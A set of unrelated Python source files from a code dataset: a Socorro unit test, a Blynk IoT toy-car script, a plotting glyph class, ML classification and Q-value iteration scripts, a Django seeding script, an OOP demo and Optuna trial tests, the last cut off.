context.platforms = (\n {\n \"id\": \"windows\",\n \"name\": \"Windows NT\"\n },\n {\n \"id\": \"linux\",\n \"name\": \"Linux\"\n },\n {\n \"id\": \"mac\",\n \"name\": \"Mac OS X\"\n }\n )\n return context\n\n #--------------------------------------------------------------------------\n def get_instance(self, config=None):\n \"\"\"Return an instance of Crashes with the config parameter as\n a context or the default one if config is None.\n \"\"\"\n args = {\n \"config\": config or self.get_dummy_context()\n }\n return Crashes(**args)\n\n #--------------------------------------------------------------------------\n def test_prepare_search_params(self):\n \"\"\"Test Crashes.prepare_search_params().\"\"\"\n crashes = self.get_instance()\n\n # .....................................................................\n # Test 1: no args\n args = {}\n self.assertEqual(crashes.prepare_search_params(**args), None)\n\n # .....................................................................\n # Test 2: a signature\n args = {\n \"signature\": \"something\"\n }\n\n params = crashes.prepare_search_params(**args)\n self.assertTrue(\"signature\" in params)\n self.assertTrue(\"terms\" in params)\n self.assertEqual(params[\"signature\"], \"something\")\n self.assertEqual(params[\"signature\"], params[\"terms\"])\n\n # .....................................................................\n # Test 3: some OS\n args = {\n \"signature\": \"something\",\n \"os\": [\"windows\", \"linux\"]\n }\n\n params = crashes.prepare_search_params(**args)\n self.assertTrue(\"os\" in params)\n self.assertEqual(len(params[\"os\"]), 2)\n self.assertEqual(params[\"os\"][0], \"Windows NT\")\n self.assertEqual(params[\"os\"][1], \"Linux\")\n\n # .....................................................................\n # Test 4: with a plugin\n args = {\n \"signature\": \"something\",\n \"report_process\": \"plugin\",\n \"plugin_terms\": [\"some\", \"plugin\"],\n \"plugin_search_mode\": \"contains\",\n }\n\n params = crashes.prepare_search_params(**args)\n self.assertTrue(\"plugin_terms\" in params)\n self.assertEqual(params[\"plugin_terms\"], \"%some plugin%\")\n","sub_path":"socorro/unittest/external/postgresql/test_crashes.py","file_name":"test_crashes.py","file_ext":"py","file_size_in_byte":3179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"326292421","text":"from pop import Psd, Leds, PixelDisplay, PiezoBuzzer\r\nimport time\r\nimport BlynkLib\r\nimport pandas as pd\r\nimport threading\r\n\r\n#------------------ Pixel Varialbe ----------------------------- \r\npixel =PixelDisplay()\r\npsd = Psd()\r\ndis = 0\r\n\r\nR1 = 0\r\nG1 = 0\r\nB1 = 200\r\n\r\nR2 = 139\r\nG2 = 69\r\nB2 = 255\r\n\r\n#------------------ Pixel Car Shape ------------------- \r\ndef pixel_car(R1,G1,B1,R2,G2,B2):\r\n \r\n #--------- car_body ----------\r\n pixel.setColor(2,1,[R1,G1,B1])\r\n pixel.setColor(2,2,[R1,G1,B1])\r\n pixel.setColor(3,1,[R1,G1,B1])\r\n pixel.setColor(3,2,[R1,G1,B1])\r\n pixel.setColor(4,1,[R1,G1,B1])\r\n pixel.setColor(4,2,[R1,G1,B1])\r\n pixel.setColor(5,1,[R1,G1,B1])\r\n pixel.setColor(5,2,[R1,G1,B1])\r\n pixel.setColor(0,3,[R1,G1,B1])\r\n pixel.setColor(0,4,[R1,G1,B1])\r\n pixel.setColor(1,3,[R1,G1,B1])\r\n pixel.setColor(1,4,[R1,G1,B1])\r\n pixel.setColor(2,3,[R1,G1,B1])\r\n pixel.setColor(2,4,[R1,G1,B1])\r\n pixel.setColor(3,3,[R1,G1,B1])\r\n pixel.setColor(3,4,[R1,G1,B1])\r\n pixel.setColor(4,3,[R1,G1,B1])\r\n pixel.setColor(4,4,[R1,G1,B1])\r\n pixel.setColor(5,3,[R1,G1,B1])\r\n pixel.setColor(5,4,[R1,G1,B1])\r\n pixel.setColor(6,3,[R1,G1,B1])\r\n pixel.setColor(6,4,[R1,G1,B1])\r\n pixel.setColor(7,3,[R1,G1,B1])\r\n pixel.setColor(7,4,[R1,G1,B1])\r\n #--------- wheel --------------\r\n pixel.setColor(1,6,[R2,G2,B2])\r\n pixel.setColor(2,5,[R2,G2,B2])\r\n pixel.setColor(2,6,[R2,G2,B2])\r\n pixel.setColor(2,7,[R2,G2,B2])\r\n pixel.setColor(3,6,[R2,G2,B2])\r\n pixel.setColor(4,6,[R2,G2,B2])\r\n pixel.setColor(5,5,[R2,G2,B2])\r\n pixel.setColor(5,6,[R2,G2,B2])\r\n pixel.setColor(5,7,[R2,G2,B2])\r\n pixel.setColor(6,6,[R2,G2,B2])\r\n\r\n#------------------ Pixel Car Moving ------------------- \r\ndef pixel_car_action(R1,G1,B1,R2,G2,B2,V): \r\n\r\n pixel.clear()\r\n pixel_car(R1,G1,B1,R2,G2,B2)\r\n time.sleep(V)\r\n pixel.clear()\r\n time.sleep(V)\r\n \r\n#------------------ Car Speed with Pixel------------------- \r\ndef car_move(R1,G1,B1,R2,G2,B2):\r\n n =0\r\n while True :\r\n if n == 0 and dis < 20 :\r\n n = 1\r\n pixel.clear()\r\n pixel_car(R1,G1,B1,R2,G2,B2)\r\n\r\n if 20 <= dis < 80 :\r\n n = 0\r\n V = 0.4\r\n pixel_car_action(R1,G1,B1,R2,G2,B2,V)\r\n\r\n if dis >= 80 :\r\n n = 0\r\n V = 0.1\r\n pixel_car_action(R1,G1,B1,R2,G2,B2,V)\r\n\r\n#--------------------- pixel func call ----------------------------\r\nthreading.Thread(target=car_move, args=(R1,G1,B1,R2,G2,B2)).start()\r\n\r\n#------------------ connection with blynk -------------------------------------------------\r\nblynk = BlynkLib.Blynk('EHMNNcBg45zgOR-NpFtcrtGmVe8FfIz1', server='127.0.0.1', port='8080')\r\n\r\n #------------------ Place to go with Dict -------------------------------\r\ncity = {'ulsan': 2000, 'seoul': 1000, 'Hwaii': 3000, 'cheonan':500, 'sejong':300 }\r\ncity_name_input = 0\r\n\r\n#------------ compre with input & dict ------------------------------------\r\ndef city_name_check(city_name_input, city):\r\n\r\n if city_name_input in city.keys():\r\n return city_name_input\r\n\r\n elif city_name_input not in city.keys():\r\n print('목적지를 다시 입력해 주세요')\r\n return 0\r\n\r\n#---------------------- blynk input ----------------------------------------\r\n@blynk.VIRTUAL_WRITE(0)\r\ndef text_input(n):\r\n global city_name_input\r\n global city\r\n\r\n city_name_input = n[0]\r\n city_name_input = city_name_check(city_name_input, city)\r\n\r\n#--------------------- car monitoring --------------------------------------\r\n@blynk.VIRTUAL_READ(1)\r\ndef car():\r\n global dis\r\n global psd\r\n global city_name_input\r\n global city\r\n \r\n leds = Leds()\r\n pb = PiezoBuzzer()\r\n \r\n res = [] # -> for append\r\n\r\n #------------------ dis with Led, buzzer--------------------------------- \r\n if city_name_input :\r\n\r\n for i in range(city[city_name_input]):\r\n \r\n val = psd.readAverage()\r\n dis = round(psd.calcDist(val), 2)\r\n blynk.virtual_write(1,dis)\r\n\r\n if dis < 20: \r\n leds.allOn()\r\n #pb.tone(5, 8, 1)\r\n time.sleep(0.1)\r\n \r\n elif 20<= dis < 80:\r\n for _ in range(5):\r\n leds.allOn()\r\n #pb.tone(4, 8, 4)\r\n time.sleep(0.1)\r\n leds.allOff()\r\n #pb.tone(4, 8, 4)\r\n time.sleep(0.1)\r\n else:\r\n leds.allOff()\r\n \r\n #-------- each dis_data in list ----------------------\r\n res.append(dis)\r\n \r\n time.sleep(0.5)\r\n \r\n #------------------ cvs_file with Pandas--------------------------------------------- \r\n data_frame = pd.DataFrame(res)\r\n data_frame.to_csv('/home/soda/Project/python/testSource/file101.csv', header= ['Psd_data'], index = False)\r\n \r\n #------------------ reset variable --------------------------------------------------\r\n dis = 0\r\n city_name_input = 0\r\n\r\n print('운행 종료')\r\n print('편안한 운행 되셨습니까? 저희 운행사는 언제나 고객님을 위하여 최선을 다하겠습니다. 안녕히 가십쇼')\r\n \r\n#----------- Practical run ------------------\r\nwhile True:\r\n blynk.run()\r\n car()","sub_path":"Study/5. Sprint_first/sprint_2/sprint_first_result.py","file_name":"sprint_first_result.py","file_ext":"py","file_size_in_byte":5425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"211116553","text":"# Created byMartin.cz\n# Copyright (c) Martin Strohalm. All rights reserved.\n\nfrom .. enums import *\nfrom .. properties import *\nfrom . glyph import Glyph\n\n\nclass ColorBar(Glyph):\n \"\"\"\n Color bar provides a simple tool to visualize a color gradient range. It is\n typically used together with an axis as part of a plot.\n \n By default the gradient direction goes the same ways as device units, i.e.\n from left to right and from top to bottom. This behavior can be changed by\n setting the 'reverse' property to True.\n \n Properties:\n \n x: int, float or callable\n Specifies the x-coordinate of the top-left corner.\n \n y: int, float or callable\n Specifies the y-coordinate of the top-left corner.\n \n length: int, float or callable\n Specifies the bar length.\n \n thickness: int, float or callable\n Specifies the bar thickness.\n \n orientation: pero.ORIENTATION or callable\n Specifies the bar orientation as any item from the\n pero.ORIENTATION enum.\n \n reverse: bool or callable\n Specifies whether the gradient is drawn considering the top/left\n side (False) or the bottom/right side (True) as its start.\n \n gradient: pero.Gradient, pero.Palette, tuple, str or callable\n Specifies the color gradient as a sequence of colors,\n pero.Palette, palette name or pero.Gradient.\n \n steps: int or callable\n Specifies the number of color steps to use to draw the gradient.\n \n line properties:\n Includes pero.LineProperties to specify the outline.\n \n fill properties:\n Includes pero.FillProperties to specify the background fill.\n \"\"\"\n \n x = NumProperty(0)\n y = NumProperty(0)\n length = NumProperty(0)\n thickness = NumProperty(7)\n orientation = EnumProperty(ORI_HORIZONTAL, enum=ORIENTATION)\n reverse = BoolProperty(False)\n \n gradient = GradientProperty(UNDEF)\n steps = NumProperty(128)\n \n line = Include(LineProperties, line_color=\"#000\")\n fill = Include(FillProperties, fill_color=UNDEF)\n \n \n def draw(self, canvas, source=UNDEF, **overrides):\n \"\"\"Uses given canvas to draw the bar.\"\"\"\n \n # check if visible\n if not self.is_visible(source, overrides):\n return\n \n # get properties\n tag = self.get_property('tag', source, overrides)\n x = self.get_property('x', source, overrides)\n y = self.get_property('y', source, overrides)\n length = self.get_property('length', source, overrides)\n thickness = self.get_property('thickness', source, overrides)\n orientation = self.get_property('orientation', source, overrides)\n reverse = self.get_property('reverse', source, overrides)\n gradient = self.get_property('gradient', source, overrides)\n steps = self.get_property('steps', source, overrides)\n \n # get step size\n step = float(length) / steps\n \n # get direction\n direction = 1 if reverse else 0\n \n # get gradient values\n start = gradient.stops[0]\n grange = gradient.stops[-1] - start\n \n # get coords\n if orientation == ORI_HORIZONTAL:\n width = length\n height = thickness\n step_width = step\n step_height = thickness\n step_x = step\n step_y = 0\n lap_w = 0.5\n lap_h = 0\n \n else:\n width = thickness\n height = length\n step_width = thickness\n step_height = step\n step_x = 0\n step_y = step\n lap_w = 0\n lap_h = 0.5\n \n # start drawing group\n canvas.group(tag, \"colorbar\")\n \n # set pen and brush for background\n canvas.line_width = 0\n canvas.set_brush_by(self, source=source, overrides=overrides)\n \n # draw background\n canvas.draw_rect(x, y, width, height)\n \n # draw gradient\n for i in range(steps):\n value = start + grange * abs(direction-float(i)/steps)\n canvas.fill_color = gradient.color_at(value)\n canvas.draw_rect(x+i*step_x, y+i*step_y, step_width+lap_w, step_height+lap_h)\n \n # set pen and brush for outline\n canvas.set_pen_by(self, source=source, overrides=overrides)\n canvas.fill_color = None\n \n # draw outline\n canvas.draw_rect(x, y, width, height)\n \n # end drawing group\n canvas.ungroup()\n","sub_path":"pero/glyphs/colorbar.py","file_name":"colorbar.py","file_ext":"py","file_size_in_byte":4721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"484608789","text":"import pandas as pd\nimport numpy as np\n\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import precision_recall_fscore_support\n\nfrom utils import ml_classifier, common_lists\n\nTHEORETICAL_DATA = pd.read_csv('files/data_teo_corrected_simple.csv')\n\nFEATURES, LABELS_SETS, SEQ_LIST, ML_CLFS = common_lists()\n\n# iterate over the classification models\nfor ml_clf in ML_CLFS:\n # define an empty dataframe to save final results for each classification model\n df_final = pd.DataFrame()\n\n # define the parameterized classifiers names and the corresponding scikit-learn models\n classifiers_names, classifiers = ml_classifier(ml_clf)\n\n # create numpy arrays filled with ones to temporarily save performance measure results\n results_accuracy = -np.ones((len(classifiers), len(LABELS_SETS)))\n results_weighted_accuracy = -np.ones((len(classifiers), len(LABELS_SETS)))\n results_precision = -np.ones((len(classifiers), len(LABELS_SETS)))\n results_recall = -np.ones((len(classifiers), len(LABELS_SETS)))\n results_f1_score = -np.ones((len(classifiers), len(LABELS_SETS)))\n\n # iterate over labels sets (i.e. rotamers or rotamer families)\n for ls_cnt, ls in enumerate(LABELS_SETS):\n\n # define ROSUM matrix for the corresponding labels set\n b_matrix = pd.read_csv('files/b_matrix_{}.csv'.format(ls)) \n\n # define lists to save true and predicted labels \n always_true = [] \n true_pos = []\n true_list = []\n pred_list = []\n \n # define dictionaries to save true and predicted labels\n true_dict = {cln: [] for cln in classifiers_names}\n pred_dict = {cln: [] for cln in classifiers_names}\n always_true_dict = {cln: [] for cln in classifiers_names}\n true_pos_dict = {cln: [] for cln in classifiers_names}\n\n # define the training and test sets with a leave-one-out approach\n for rmv in range(len(THEORETICAL_DATA)):\n \n # define the test-set\n test_set = THEORETICAL_DATA.loc[rmv]\n\n # define the training set\n train_set = THEORETICAL_DATA.drop(THEORETICAL_DATA.index[[rmv]])\n\n # define a training set with the same dinucleotide sequence as the test-set\n train_set_seq = train_set[train_set.SEQ == test_set.SEQ]\n\n X_train = train_set_seq[FEATURES]\n X_test = pd.DataFrame(test_set[FEATURES]).T\n\n y_train = train_set_seq[ls]\n y_test = test_set[ls]\n\n # iterate over the parameterized classifiers\n for idx, clf in enumerate(classifiers):\n \n # define classifier name\n clf_name = classifiers_names[idx]\n\n # fit classifier model with train set feautures an labels\n clf.fit(X_train, y_train)\n\n # define predicted label (rotamer or rotamer family)\n y_pred = (clf.predict(X_test))[0]\n \n true_dict[clf_name].append(y_test)\n pred_dict[clf_name].append(y_pred)\n\n # define label assignment weight from ROSUM matrices\n weight = float(b_matrix[(b_matrix['ROT_i'] == y_test) & (b_matrix['ROT_j'] == y_pred)]['a_ij'])\n\n # define always true weighted accuracy: hypothetical case where all the labels are \n # correctly classified\n weight_always_true = float(b_matrix[(b_matrix['ROT_i'] == y_test) & \n (b_matrix['ROT_j'] == y_test)]['a_ij'])\n\n always_true_dict[clf_name].append(weight_always_true)\n\n # label assignemnt weights for the true positive classified labels\n if y_test == y_pred:\n true_pos_dict[clf_name].append(weight)\n \n # iterate over the classifiers names to compute and temporarily save performance measures\n for idx,clf_name in enumerate(classifiers_names):\n # define list with true labels for the corresponding classifier\n true_list = true_dict[clf_name]\n \n #define list with predicted labels for the corresponding classifier\n pred_list = pred_dict[clf_name]\n\n # define true positive predicted labels list for the corresponding classifier\n true_pos = true_pos_dict[clf_name]\n\n # define 'always true' predicted labels list for the corresponding classifier\n always_true = always_true_dict[clf_name]\n\n # compute and define all the performance measures\n precision = precision_recall_fscore_support(true_list,pred_list,average='macro')[0]\n recall = precision_recall_fscore_support(true_list,pred_list,average='macro')[1]\n f1_score = precision_recall_fscore_support(true_list,pred_list,average='macro')[2]\n accuracy = accuracy_score(true_list, pred_list)\n w_accuracy = np.sum(true_pos)/np.sum(always_true)\n\n # save all the performance measures\n results_accuracy[idx,ls_cnt] = accuracy\n results_weighted_accuracy[idx,ls_cnt] = w_accuracy\n results_precision[idx,ls_cnt] = precision\n results_recall[idx,ls_cnt] = recall\n results_f1_score[idx,ls_cnt] = f1_score\n\n # save the temporary results in a DataFrame with partial results\n for n in range(len(results_accuracy)):\n \n # define a DataFrame with partial results\n df_partial = pd.DataFrame({'02_ClassifierName': classifiers_names[n],\n '03_Groups': LABELS_SETS,\n '04_Accuracy': results_accuracy[n],\n '05_W_Accuracy': results_weighted_accuracy[n],\n '06_precision': results_precision[n],\n '07_recall': results_recall[n],\n '08_f1_score': results_f1_score[n]})\n\n # append the partial results to the final DataFrame\n df_final = df_final.append(df_partial)\n\n # save the final results for the corresponding classifier\n df_final.to_csv('results_{}_theotheo.csv'.format(ml_clf), index=False)\n","sub_path":"ClassificationScripts/theoretical_vs_theoretical_classification.py","file_name":"theoretical_vs_theoretical_classification.py","file_ext":"py","file_size_in_byte":6164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"109597689","text":"import env\nimport plotting\nimport motion_model\n\nimport numpy as np\nimport sys\n\n\nclass Q_value_iteration:\n def __init__(self, x_start, x_goal):\n self.xI, self.xG = x_start, x_goal\n self.e = 0.001 # threshold for convergence\n self.gamma = 0.9 # discount factor\n\n self.env = env.Env(self.xI, self.xG) # class Env\n self.motion = motion_model.Motion_model(self.xI, self.xG) # class Motion_model\n self.plotting = plotting.Plotting(self.xI, self.xG) # class Plotting\n\n self.u_set = self.env.motions # feasible input set\n self.stateSpace = self.env.stateSpace # state space\n self.obs = self.env.obs_map() # position of obstacles\n self.lose = self.env.lose_map() # position of lose states\n\n self.name1 = \"Q-value_iteration, gamma=\" + str(self.gamma)\n self.name2 = \"converge process, e=\" + str(self.e)\n\n [self.value, self.policy, self.diff] = self.iteration(self.xI, self.xG)\n self.path = self.extract_path(self.xI, self.xG, self.policy)\n self.plotting.animation(self.path, self.name1)\n self.plotting.plot_diff(self.diff, self.name2)\n\n def iteration(self, xI, xG):\n \"\"\"\n Q_value_iteration\n :return: converged Q table and policy\n \"\"\"\n\n Q_table = {}\n policy = {}\n diff = []\n delta = sys.maxsize\n count = 0\n\n for x in self.stateSpace:\n Q_table[x] = [0, 0, 0, 0] # initialize Q_table\n\n while delta > self.e: # convergence condition\n count += 1\n x_value = 0\n for x in self.stateSpace:\n if x not in x_Goal:\n for k in range(len(self.u_set)):\n [x_next, p_next] = self.motion.move_next(x, self.u_set[k])\n Q_value = self.cal_Q_value(x_next, p_next, Q_table)\n v_diff = abs(Q_table[x][k] - Q_value)\n Q_table[x][k] = Q_value\n if v_diff > 0:\n x_value = max(x_value, v_diff)\n diff.append(x_value)\n delta = x_value\n\n for x in self.stateSpace:\n if x not in xG:\n policy[x] = np.argmax(Q_table[x])\n\n self.message(count)\n\n return Q_table, policy, diff\n\n def cal_Q_value(self, x, p, table):\n \"\"\"\n cal Q_value.\n\n :param x: next state vector\n :param p: probability of each state\n :param table: value table\n :return: Q-value\n \"\"\"\n\n value = 0\n reward = self.env.get_reward(x) # get reward of next state\n for i in range(len(x)):\n value += p[i] * (reward[i] + self.gamma * max(table[x[i]]))\n\n return value\n\n def extract_path(self, xI, xG, policy):\n \"\"\"\n extract path from converged policy.\n\n :param xI: starting state\n :param xG: goal states\n :param policy: converged policy\n :return: path\n \"\"\"\n\n x, path = xI, [xI]\n while x not in xG:\n u = self.u_set[policy[x]]\n x_next = (x[0] + u[0], x[1] + u[1])\n if x_next in self.obs:\n print(\"Collision! Please run again!\")\n break\n else:\n path.append(x_next)\n x = x_next\n return path\n\n def message(self, count):\n \"\"\"\n print important message.\n\n :param count: iteration numbers\n :return: print\n \"\"\"\n\n print(\"starting state: \", self.xI)\n print(\"goal states: \", self.xG)\n print(\"condition for convergence: \", self.e)\n print(\"discount factor: \", self.gamma)\n print(\"iteration times: \", count)\n\n\nif __name__ == '__main__':\n x_Start = (5, 5)\n x_Goal = [(49, 5), (49, 25)]\n\n QVI = Q_value_iteration(x_Start, x_Goal)\n","sub_path":"Stochastic Shortest Path/Q-value_iteration.py","file_name":"Q-value_iteration.py","file_ext":"py","file_size_in_byte":3857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"19242100","text":"from api.models import Item\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth import authenticate\n\nobjects = [\n {\n \"name\": \"Squash\",\n \"quantity_with_unit\": \"2 lb\",\n \"acquisition_date\": \"2020-02-22\",\n \"expiration_date\": \"2020-02-29\"\n },\n {\n \"name\": \"Bacon\",\n \"quantity_with_unit\": \"2 lb\",\n \"acquisition_date\": \"2020-02-22\",\n \"expiration_date\": \"2020-02-29\"\n },\n {\n \"name\": \"Bacon\",\n \"quantity_with_unit\": \"2 lb\",\n \"acquisition_date\": \"2020-02-22\",\n \"expiration_date\": \"2020-02-29\"\n },\n {\n \"name\": \"Bacon\",\n \"quantity_with_unit\": \"2 lb\",\n \"acquisition_date\": \"2020-02-22\",\n \"expiration_date\": \"2020-02-29\"\n },\n {\n \"name\": \"Bacon\",\n \"quantity_with_unit\": \"2 lb\",\n \"acquisition_date\": \"2020-02-22\",\n \"expiration_date\": \"2020-02-29\"\n }\n]\n\nuser = authenticate(username='root', password='root')\nfor object_ in objects:\n Item(name=object_['name'], quantity_with_unit=object_['quantity_with_unit'], acquisition_date=object_['acquisition_date'], expiration_date=object_['expiration_date'], user_id=user).save()","sub_path":"populate_db.py","file_name":"populate_db.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"28179140","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n* Ejercicio del curso Programacion Orientada a Objetos con PHP\n* Enrique Place - http://surforce.com/web/\n* Reescrito en Python para el curso de Python OOP - 2016\n\"\"\"\n\n\nfrom Admin import Admin\nfrom Usuario import Usuario\n\n\nclass Main(object):\n\n def run(self):\n\n # Se guarda un usuario\n\n usuario = Usuario()\n\n usuario.id_usuario = 2\n usuario.nombre_usuario = 'jperez'\n usuario.nombre = 'Juan'\n usuario.apellido = 'Perez'\n usuario.mail = 'jperez@gmail.com'\n\n usuario.save()\n\n del(usuario) # se elimina el objeto\n\n # Se carga un usuario\n\n usuario = Usuario()\n usuario.load(1)\n\n print(\"Soy el usuario: \" + str(usuario))\n\n # Se carga un admin\n\n admin = Admin()\n admin.load(1)\n\n print(\"Soy el Admin: \" + str(admin))\n\nsistema = Main()\nsistema.run()","sub_path":"15 - Persona-Usuario-Admin-MySQL/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"513991313","text":"import copy\nimport datetime\nfrom typing import Any\nfrom typing import Dict\nfrom typing import List\nfrom typing import Optional\nfrom typing import Tuple\n\nimport pytest\n\nfrom optuna import create_study\nfrom optuna.distributions import BaseDistribution\nfrom optuna.distributions import CategoricalDistribution\nfrom optuna.distributions import DiscreteUniformDistribution\nfrom optuna.distributions import IntLogUniformDistribution\nfrom optuna.distributions import IntUniformDistribution\nfrom optuna.distributions import LogUniformDistribution\nfrom optuna.distributions import UniformDistribution\nfrom optuna.testing.storage import STORAGE_MODES\nfrom optuna.testing.storage import StorageSupplier\nfrom optuna.trial import BaseTrial\nfrom optuna.trial import create_trial\nfrom optuna.trial import FrozenTrial\nfrom optuna.trial import TrialState\n\n\ndef test_eq_ne() -> None:\n\n trial = _create_frozen_trial()\n\n trial_other = copy.copy(trial)\n assert trial == trial_other\n\n trial_other.value = 0.3\n assert trial != trial_other\n\n\ndef test_lt() -> None:\n\n trial = _create_frozen_trial()\n\n trial_other = copy.copy(trial)\n assert not trial < trial_other\n\n trial_other.number = trial.number + 1\n assert trial < trial_other\n assert not trial_other < trial\n\n with pytest.raises(TypeError):\n trial < 1\n\n assert trial <= trial_other\n assert not trial_other <= trial\n\n with pytest.raises(TypeError):\n trial <= 1\n\n # A list of FrozenTrials is sortable.\n trials = [trial_other, trial]\n trials.sort()\n assert trials[0] is trial\n assert trials[1] is trial_other\n\n\ndef _create_frozen_trial() -> FrozenTrial:\n\n return FrozenTrial(\n number=0,\n trial_id=0,\n state=TrialState.COMPLETE,\n value=0.2,\n datetime_start=datetime.datetime.now(),\n datetime_complete=datetime.datetime.now(),\n params={\"x\": 10},\n distributions={\"x\": UniformDistribution(5, 12)},\n user_attrs={},\n system_attrs={},\n intermediate_values={},\n )\n\n\ndef test_repr() -> None:\n\n trial = FrozenTrial(\n number=0,\n trial_id=0,\n state=TrialState.COMPLETE,\n value=0.2,\n datetime_start=datetime.datetime.now(),\n datetime_complete=datetime.datetime.now(),\n params={\"x\": 10},\n distributions={\"x\": UniformDistribution(5, 12)},\n user_attrs={},\n system_attrs={},\n intermediate_values={},\n )\n\n assert trial == eval(repr(trial))\n\n\n@pytest.mark.parametrize(\"storage_mode\", STORAGE_MODES)\ndef test_sampling(storage_mode: str) -> None:\n def objective(trial: BaseTrial) -> float:\n\n a = trial.suggest_uniform(\"a\", 0.0, 10.0)\n b = trial.suggest_loguniform(\"b\", 0.1, 10.0)\n c = trial.suggest_discrete_uniform(\"c\", 0.0, 10.0, 1.0)\n d = trial.suggest_int(\"d\", 0, 10)\n e = trial.suggest_categorical(\"e\", [0, 1, 2])\n f = trial.suggest_int(\"f\", 1, 10, log=True)\n\n assert isinstance(e, int)\n return a + b + c + d + e + f\n\n with StorageSupplier(storage_mode) as storage:\n study = create_study(storage=storage)\n study.optimize(objective, n_trials=1)\n\n best_trial = study.best_trial\n\n # re-evaluate objective with the best hyperparameters\n v = objective(best_trial)\n\n assert v == best_trial.value\n\n\ndef test_suggest_float() -> None:\n\n trial = FrozenTrial(\n number=0,\n trial_id=0,\n state=TrialState.COMPLETE,\n value=0.2,\n datetime_start=datetime.datetime.now(),\n datetime_complete=datetime.datetime.now(),\n params={\"x\": 0.2},\n distributions={\"x\": UniformDistribution(0.0, 1.0)},\n user_attrs={},\n system_attrs={},\n intermediate_values={},\n )\n\n assert trial.suggest_float(\"x\", 0.0, 1.0) == 0.2\n\n with pytest.raises(ValueError):\n trial.suggest_float(\"x\", 0.0, 1.0, step=10, log=True)\n\n with pytest.raises(ValueError):\n trial.suggest_float(\"y\", 0.0, 1.0)\n\n\ndef test_suggest_uniform() -> None:\n\n trial = FrozenTrial(\n number=0,\n trial_id=0,\n state=TrialState.COMPLETE,\n value=0.2,\n datetime_start=datetime.datetime.now(),\n datetime_complete=datetime.datetime.now(),\n params={\"x\": 0.2},\n distributions={\"x\": UniformDistribution(0.0, 1.0)},\n user_attrs={},\n system_attrs={},\n intermediate_values={},\n )\n\n assert trial.suggest_uniform(\"x\", 0.0, 1.0) == 0.2\n\n with pytest.raises(ValueError):\n trial.suggest_uniform(\"y\", 0.0, 1.0)\n\n\ndef test_suggest_loguniform() -> None:\n\n trial = FrozenTrial(\n number=0,\n trial_id=0,\n state=TrialState.COMPLETE,\n value=0.2,\n datetime_start=datetime.datetime.now(),\n datetime_complete=datetime.datetime.now(),\n params={\"x\": 0.99},\n distributions={\"x\": LogUniformDistribution(0.1, 1.0)},\n user_attrs={},\n system_attrs={},\n intermediate_values={},\n )\n assert trial.suggest_loguniform(\"x\", 0.1, 1.0) == 0.99\n\n with pytest.raises(ValueError):\n trial.suggest_loguniform(\"y\", 0.0, 1.0)\n\n\ndef test_suggest_discrete_uniform() -> None:\n\n trial = FrozenTrial(\n number=0,\n trial_id=0,\n state=TrialState.COMPLETE,\n value=0.2,\n datetime_start=datetime.datetime.now(),\n datetime_complete=datetime.datetime.now(),\n params={\"x\": 0.9},\n distributions={\"x\": DiscreteUniformDistribution(0.0, 1.0, q=0.1)},\n user_attrs={},\n system_attrs={},\n intermediate_values={},\n )\n assert trial.suggest_discrete_uniform(\"x\", 0.0, 1.0, 0.1) == 0.9\n\n with pytest.raises(ValueError):\n trial.suggest_discrete_uniform(\"y\", 0.0, 1.0, 0.1)\n\n\ndef test_suggest_int() -> None:\n\n trial = FrozenTrial(\n number=0,\n trial_id=0,\n state=TrialState.COMPLETE,\n value=0.2,\n datetime_start=datetime.datetime.now(),\n datetime_complete=datetime.datetime.now(),\n params={\"x\": 1},\n distributions={\"x\": IntUniformDistribution(0, 10)},\n user_attrs={},\n system_attrs={},\n intermediate_values={},\n )\n\n assert trial.suggest_int(\"x\", 0, 10) == 1\n\n with pytest.raises(ValueError):\n trial.suggest_int(\"y\", 0, 10)\n\n\ndef test_suggest_int_log() -> None:\n\n trial = FrozenTrial(\n number=0,\n trial_id=0,\n state=TrialState.COMPLETE,\n value=0.2,\n datetime_start=datetime.datetime.now(),\n datetime_complete=datetime.datetime.now(),\n params={\"x\": 1},\n distributions={\"x\": IntLogUniformDistribution(1, 10)},\n user_attrs={},\n system_attrs={},\n intermediate_values={},\n )\n\n assert trial.suggest_int(\"x\", 1, 10, log=True) == 1\n\n with pytest.raises(ValueError):\n trial.suggest_int(\"x\", 1, 10, step=2, log=True)\n\n with pytest.raises(ValueError):\n trial.suggest_int(\"y\", 1, 10, log=True)\n\n\ndef test_suggest_categorical() -> None:\n\n # Integer categories.\n trial = FrozenTrial(\n number=0,\n trial_id=0,\n state=TrialState.COMPLETE,\n value=0.2,\n datetime_start=datetime.datetime.now(),\n datetime_complete=datetime.datetime.now(),\n params={\"x\": 1},\n distributions={\"x\": CategoricalDistribution((0, 1, 2, 3))},\n user_attrs={},\n system_attrs={},\n intermediate_values={},\n )\n assert trial.suggest_categorical(\"x\", (0, 1, 2, 3)) == 1\n\n with pytest.raises(ValueError):\n trial.suggest_categorical(\"y\", [0, 1, 2, 3])\n\n # String categories.\n trial = FrozenTrial(\n number=0,\n trial_id=0,\n state=TrialState.COMPLETE,\n value=0.2,\n datetime_start=datetime.datetime.now(),\n datetime_complete=datetime.datetime.now(),\n params={\"x\": \"baz\"},\n distributions={\"x\": CategoricalDistribution((\"foo\", \"bar\", \"baz\"))},\n user_attrs={},\n system_attrs={},\n intermediate_values={},\n )\n assert trial.suggest_categorical(\"x\", (\"foo\", \"bar\", \"baz\")) == \"baz\"\n\n # Unknown parameter.\n with pytest.raises(ValueError):\n trial.suggest_categorical(\"y\", [\"foo\", \"bar\", \"baz\"])\n\n # Not in choices.\n with pytest.raises(ValueError):\n trial.suggest_categorical(\"x\", [\"foo\", \"bar\"])\n\n # Unknown parameter and bad category type.\n with pytest.warns(UserWarning):\n with pytest.raises(ValueError): # 